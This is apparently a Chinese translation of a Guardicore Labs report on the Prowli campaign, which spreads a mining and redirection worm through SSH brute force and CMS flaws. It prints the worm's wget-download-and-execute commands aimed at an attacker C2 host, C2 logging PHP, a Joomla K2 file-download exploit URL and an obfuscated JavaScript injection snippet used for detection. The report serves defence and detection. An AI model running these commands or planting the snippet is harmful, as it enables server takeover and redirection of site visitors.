导语:Guardicore实验室感染了大量行业的流量伪造和加密货币挖矿活动,波及到的行业包括金融、教育和政府。该活动叫做Operation Prowli,通过向服务器和网站发送恶意软件进行传播,已经入侵了超过4万台设备。
Operation Prowli通过向服务器和网站发送恶意软件进行传播,已经入侵了超过4万台设备。Prowli会使用不同的攻击技术包括漏洞利用、密码暴力破解和弱配置等。
Prowli是一个多目的的攻击活动,攻击目标涉及多个平台包括CMS服务器,运行HP Data Protector的备份服务器,DSL调制解调器和IoT设备。攻击者通过数字货币、流量重定向等方式进行获利。
本报告主要关注攻击技术、方法、基础设施和目标。随后将深入分析技术细节和攻击者的获利方式。
r2r2蠕虫
4月4日,GuardiCore Global Sensor Network (GGSN)报告了与C2服务器通信的SSH攻击。所有的攻击方式是一样的,与相同的C2服务器下载叫做r2r2的攻击工具和一个加密货币挖矿机。
GGSN报告的攻击步骤
· 研究人员发现该攻击活动攻击了不同国家的数个网络,涉及不同的行业;
· 攻击者使用了一些新的攻击来绕过Guardicore和VirusTotal的检测;
· 攻击者使用代码中硬编码了域名的二进制文件,每个二进制文件都针对不同的攻击服务和CPU架构。
过去3周内,研究人员发现了来自不同国家和地区的超过180个IP地址发起的攻击。研究人员通过这些攻击调查了攻击者的基础设施并发现了大范围的攻击服务。
范围
研究人员发现攻击者保存了大量的攻击目标的信息,包括提供不同internet服务的IP地址和域名等。这些服务易受到远程预认证(remote pre-authentication attack)攻击,或攻击者可以进行暴力破解。攻击者的攻击目标服务列表包括Drupal CMS网站、Wordpress站点、DSL调制解调器、开放SSH端口的服务器、有漏洞的IoT设备、暴露HP数据保护软件的服务器等等。
运行弱SSH凭证的受害者
Prowli背后的运营者会攻击所有类型和大小的组织,这与之前的攻击一致的。
Operation Prowli的受害者
Operation Prowli入侵了大量的服务,而不是攻击特定的单元。
受害者所属行业
获利方式
Operation Prowli背后的攻击者更加关注如何从攻击者获利,研究人员分析出两个主要的收入流:
第一个收入源是加密货币挖矿。加密货币挖矿需要投入大量的流量和能源消耗。攻击者使用r2r2恶意软件可以接管计算机并用来挖矿。加密货币挖矿也是当代蠕虫的常见payload之一,本活动中的攻击者选择的是门罗币Monero挖矿。
另一个收入源是流量欺骗获利。流量获利是指第三方用户向攻击者购买重定向服务。网站的运营者根据流量获利,这类目的域名会经常驻留不同的欺骗服务,比如虚假服务、恶意浏览器扩展等。
被重定向到虚假网站访问者示例
在本例中,Prowli售卖重定向到流量,访问者会被重定向到提供技术支持(骗局)、虚假浏览器扩展、虚假产品等的域名。
攻击目标
Prowli的运营者有许多的攻击方法来满足不同的攻击需求。研究人员也发现了基于不同服务的攻击类型,一些攻击时基于蠕虫的,会随机攻击网络上的IP地址,而其他的攻击会攻击CMS服务器等。
研究人员发现的攻击向量有:
· 运行SSH的机器被自传播的蠕虫通过暴力破解凭证猜测的方式入侵,受害者随后会下载和运行加密货币挖坑机。
· 运行k2扩展到Joomla!服务器,k2扩展存在文件下载漏洞,URL为http://.com/index.php?option=com_k2&view=media&task=connector&cmd=file&target=[base64 of file path]&download=1
攻击者可以从中获取敏感服务器配置数据,如口令和API key等。
Joomla!配置细节
· DSL调制解调器被黑,该漏洞存在于SOAP数据处理中,会导致远程代码执行,该漏洞之前也被Mirai蠕虫利用过。
· Wordpress服务器被一些感染器入侵,一些感染器尝试暴力破解登录WP管理面板,还有其他的WP安装漏洞;还有利用服务器配置问题的攻击,比如在访问站点 http://.com/wp-config.php~时会暴露FTP凭证信息。
· 运行HP data protector的服务器会通过5555端口暴露到网络上,利用的是CVE-2014-2623漏洞来执行系统权限命令。
攻击者还攻击Drupal,PhpMyAdmin安装,NFS盒子和暴露SMB端口的服务器等。
还有一类受害者是被入侵的服务器,服务器上有著名的开源webshell叫做WSO web shell。
对被感染设备的完全控制
这些基于php的shell会在不同的被入侵的机器上提供访问和远程代码执行权限,经常会运行在有漏洞的wordpress站点上。
攻击者很容易就可以将这些设备用于未来的攻击中
针对win的暴力破解
名为r2r2的二进制文件是用Golang语言编写的,r2r2会随机地生成IP地址块并尝试用词典暴力破解SSH登录。一旦登录,就会在受害者设备上运行一系列的命令。这些命令运行wget来从硬编码的服务器上下载文件:
· 针对不同CPU架构的蠕虫副本;
· 加密货币挖矿机和配置文件。
蠕虫在受害者设备上远程执行命令,然后将凭证报告给C2服务器
用到的命令为:
cd /tmp;wget -O r2r2 h[]://wp.startreceive.tk/tdest/z/r2r2;chmod 777 r2r2;./r2r2 > /dev/null 2>&1 & cd /tmp;wget -O r2r2-a h[]://wp.startreceive.tk/test/z/r2r2-a;chmod 777 r2r2-a;./r2r2-a > /dev/null 2>&1 & cd /tmp;wget -O r2r2-m h[]://wp.startreceive.tk/test/z/r2r2-m;chmod 777 r2r2-m;./r2r2-m > /dev/null 2>&1 cd /tmp;wget -O xm111 h[]://wp.startreceive.tk/test/z/xm111;chmod 777 xm111;wget -O config.json h[]://wp.startreceive.tk/test/z/config.json;chmod 777 config.json;./xm111 > /dev/null 2>&1
r2r2,r2r2-a,r2r2-m等不同版本的r2r2二进制文件其实是相同的二进制文件在不同平台编译的结果。
从提取出二进制文件可以帮助对攻击者进行命名
在攻破服务器后,用来登录受害者设备的凭证就会以明文HTTP的形式传给wp.startreceive[.]tk/test/p.php ,然后保存到攻击者服务器中。蠕虫的某些版本发送更多关于受害者的详细信息,如CPU,内核dist版本等。
Joomla!.tk C&C
攻击工具报告的C2服务器运行的域名为wp.startreceive[.]tk,该服务器也是个被入侵的服务器,攻击者将其用来存放恶意软件、收集受害者信息,并向其他被入侵的机器提供不同的payload。
C2的逻辑上用一组php文件来接受来自受害者的数据并保存。攻击者会保存如何利用受害者设备的所有信息,这样就可以随时获取设备的访问权限。
攻击者C2代码段:
if ( isset ($_GET[‘p’ ])) { $myfile = file_put_contents( ‘ip2_log.txt’ , $ip. “||” .$_GET[ ‘p’ ].PHP_EOL , FILE_APPEND | LOCK_EX); } elseif ( isset ($_GET[‘p1’])){ $myfile = file_put_contents( ‘ip3_log.txt’ , $ip. “||” .$_GET[ ‘p1’ ].PHP_EOL , FILE_APPEND | LOCK_EX); } else { if ( isset ($_GET[ ‘p2’ ])){ $myfile = file_put_contents( ‘ip4_log.txt’ , $ip. “||” .$_GET[ ‘p2’ ].PHP_EOL , FILE_APPEND | LOCK_EX); } } if ( isset ($_GET[ ‘t1’ ])) { $myfile = file_put_contents( ‘mhcl_log.txt’ , $ip.PHP_EOL , FILE_APPEND | LOCK_EX); } if ( isset ($_GET[ ‘t2’ ])) { $myfile = file_put_contents( ‘dru_log.txt’ , $_GET[ ‘t2’ ].PHP_EOL , FILE_APPEND | LOCK_EX); }
payload
Prowli背后的攻击者对不同的目标使用不同等payload。SSH暴力破解攻击可以给攻击者对于系统的完全控制来进行加密货币挖矿,而被入侵的网站可以用来运行不同的web欺骗活动。其他的受害者设备可以被用来执行更多的攻击,比如用作C2服务器。
该攻击活动的一个重要部分就是感染运行了有漏洞的CMS软件的网站。在一些攻击实例中,payload是一个php文件,该文件可以感染网站并向不同的php页面和js文件中注入恶意代码。
在有漏洞的服务器上执行的php文件
PHP注入器函数php_in会检查目标PHP文件是否会输出HTML文件,如果是,就注入一段JS代码到生成的页面中。这段代码会开启一个进程,并将访问站点的用户重定向到恶意的站点。
重定向脚本逆混淆前后
send.php页面会提取目标域名,因为之后受害者也会被重定向到该页面。roi777[.]com提供随机选择的域名,所有都会重定向到不同类型的不同站点。攻击者会将id号加到目标域名,允许roi777记录谁在重定向流量。
重定向垃圾邮件示例
总的来说,Prowli接管合法的网站,并在其所有者不知情的情况下将流量重定向到恶意网站,这些重定向到方式包括简单的垃圾邮件、技术支持类垃圾邮件等。
检测和预防
攻击是基于已知的漏洞和凭证猜测的结合,也就是说预防的方式应该包含强密码和保持软件更新。给服务器打补丁和使用强密码在现实生活中都是很复杂的事,还有给系统上锁等方式将有漏洞的系统和其他网络隔离开来。
对CMS软件来说,如果不能及时打补丁,那么可能随时会被黑,还要遵循严格的加固指南,比如WordPress、 Drupal provide加固指南。
分段式另外一个好的实践方式,如果不能防止系统被入侵,那么将网络分段和监控,就是一个减少危害、避免数据泄漏的方式。要经常性地去检查谁可以访问服务器,可以访问服务器的什么内容。将此列表保持在最低限度,并且要特别注意那么凭证不能修改的IoT设备。监控通信连接可以很容易的知道被黑的设备如何与加密货币矿池进行通信。
R2R2感染的设备
如果用户设备感染了r2r2,那么首先要杀掉蠕虫和挖矿进程(r2r2和xm11),删除文件来清除攻击。清除后记得要修改密码。用户可以通过寻找占用CPU比较高的进程和异常的SSH连接来检测这些受感染的设备。
检测感染Prowli的网站的访问者
通过检查网络中是否有到域名wp.startreceive[.]tk和stats.startreceive[.]tk的流量就可以发现网络中的设备是否访问过被感染的网站。研究人员建议用户确保未安装恶意软件或没有常见的可被利用的浏览器漏洞。
检测被黑的CMS服务器
检查网站是否被黑,最简单的方式就是搜索有没有下面的代码段(PHP和js文件):
JavaScript files:
eval(String.fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 122, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 122, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 114, 105, 112, 116, 46, 106, 115, 63, 100, 114, 61, 49, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 122, 41, 59));
PHP files:
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 122, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 122, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 114, 105, 112, 116, 46, 106, 115, 63, 100, 114, 61, 49, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 122, 41, 59));</script>
如果你在系统或者网站上发现上面的代码段,那么你的网站可能已经被黑了。
结论
GuardiCore Labs研究人员对Prowli的获利活动进行了分析,主要是通过加密货币挖矿和流量劫持。被入侵的不安全的机器会被安装一个完全自动化的蠕虫进行Monero挖矿,被感染的web站点会将访问用户重定向到恶意域名。
Prowli已经通过利用不安全的网站和服务器入侵了上千台设备。互联网上存在着大量未被修复的系统,未升级的系统和默认凭证都是攻击的目标。
加密货币挖矿和流量劫持是被入侵设备的主要用途,但攻击者的目的不至于此。攻击者在受害者设备上留下了后门,并收集了受害者设备的信息,因此攻击者可以很轻松的用受害者设备做其他用途,甚至可以将保存的信息卖给其他的犯罪分子。